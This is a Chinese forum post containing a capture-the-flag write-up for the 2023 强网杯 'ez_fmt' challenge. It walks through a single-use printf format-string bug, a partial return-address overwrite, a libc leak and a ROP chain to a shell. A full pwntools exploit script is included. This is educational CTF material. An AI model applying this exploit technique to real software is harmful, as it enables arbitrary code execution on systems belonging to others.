ToB企服应用市场:ToB评测及商务社交产业平台

标题: [强网杯2023] 强网先锋 ez_fmt 详解 [打印本页]

作者: 科技颠覆者    时间: 2024-2-26 18:50
标题: [强网杯2023] 强网先锋 ez_fmt 详解
题目详解

查看保护机制,地址随机化未开启
  1.     Arch:     amd64-64-little
  2.     RELRO:    Full RELRO
  3.     Stack:    Canary found
  4.     NX:       NX enabled
  5.     PIE:      No PIE (0x400000)
复制代码
查看main函数,题目给出了一个栈地址,同时还有个很明显的字符串格式化漏洞,但是只能利用一次
  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   char buf[88]; // [rsp+0h] [rbp-60h] BYREF
  4.   unsigned __int64 v5; // [rsp+58h] [rbp-8h]
  5.   v5 = __readfsqword(0x28u);
  6.   setvbuf(stdout, 0LL, 2, 0LL);
  7.   setvbuf(stdin, 0LL, 2, 0LL);
  8.   printf("There is a gift for you %p\n", buf);
  9.   read(0, buf, 0x30uLL);
  10.   if ( w == 0xFFFF )
  11.   {
  12.     printf(buf);
  13.     w = 0;
  14.   }
  15.   return 0;
  16. }
复制代码
利用思路是
那么攻击思路就是
第一步和第二步可以在一次格式化漏洞中完成,printf(buf)的返回地址就是泄露的栈地址 - 8, 又因为执行printf(buf)的地址为0x40122D,和要跳转到的gadget地址0x4012CE仅有不到一个字节的偏移,所以只需要覆盖低字节。(因为给的buf仅有0x30的大小,所以要尽量缩减格式化字符串的长度)
程序在执行完printf函数后会返回到gadget的位置,然后经过三次出栈操作,rsp指向buf + 0x18,然后执行ret。
显然buf + 0x18的值是我们可控的,修改它到执行read函数的地址
这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)
因为read的返回地址存在buf里,也是可控的,所以ROP执行system函数即可
exp脚本
  1. from pwn import *
  2. context(arch = "amd64",os = "linux",log_level = "debug",terminal = ['tmux','splitw','-h'])
  3. io = process("./ez_fmt")
  4. libc = ELF("./libc.so.6")
  5. rdi_ret = 0x04012d3
  6. io.recvuntil(b"for you")
  7. stack = int(io.recvline()[0:-1], 16)
  8. success(hex(stack))
  9. payload = flat(
  10.     {
  11.         0:"%{}c%10$hhn%19$p".format(0xce),
  12.         0x18: p64(0x401205) + p64(stack - 8)
  13.     }
  14. )
  15. payload = payload.ljust(0x30, b'a')
  16. # gdb.attach(io, "b *0x401239\nb *0x401205")
  17. io.send(payload)
  18. # offset = 6
  19. io.recvuntil(b"0x")
  20. libc_base = int(io.recv(12), 16) - libc.symbols["__libc_start_main"] - 243
  21. payload = flat(
  22.     {
  23.         0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
  24.         0x28 : p64(libc_base + 0x051CD2)
  25.     }
  26. )
  27. io.send(payload)
  28. io.interactive()
复制代码
为什么exp里是p64(libc_base + 0x051CD2)而不是 p64(libc_base + libc.symbols["system"])?

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4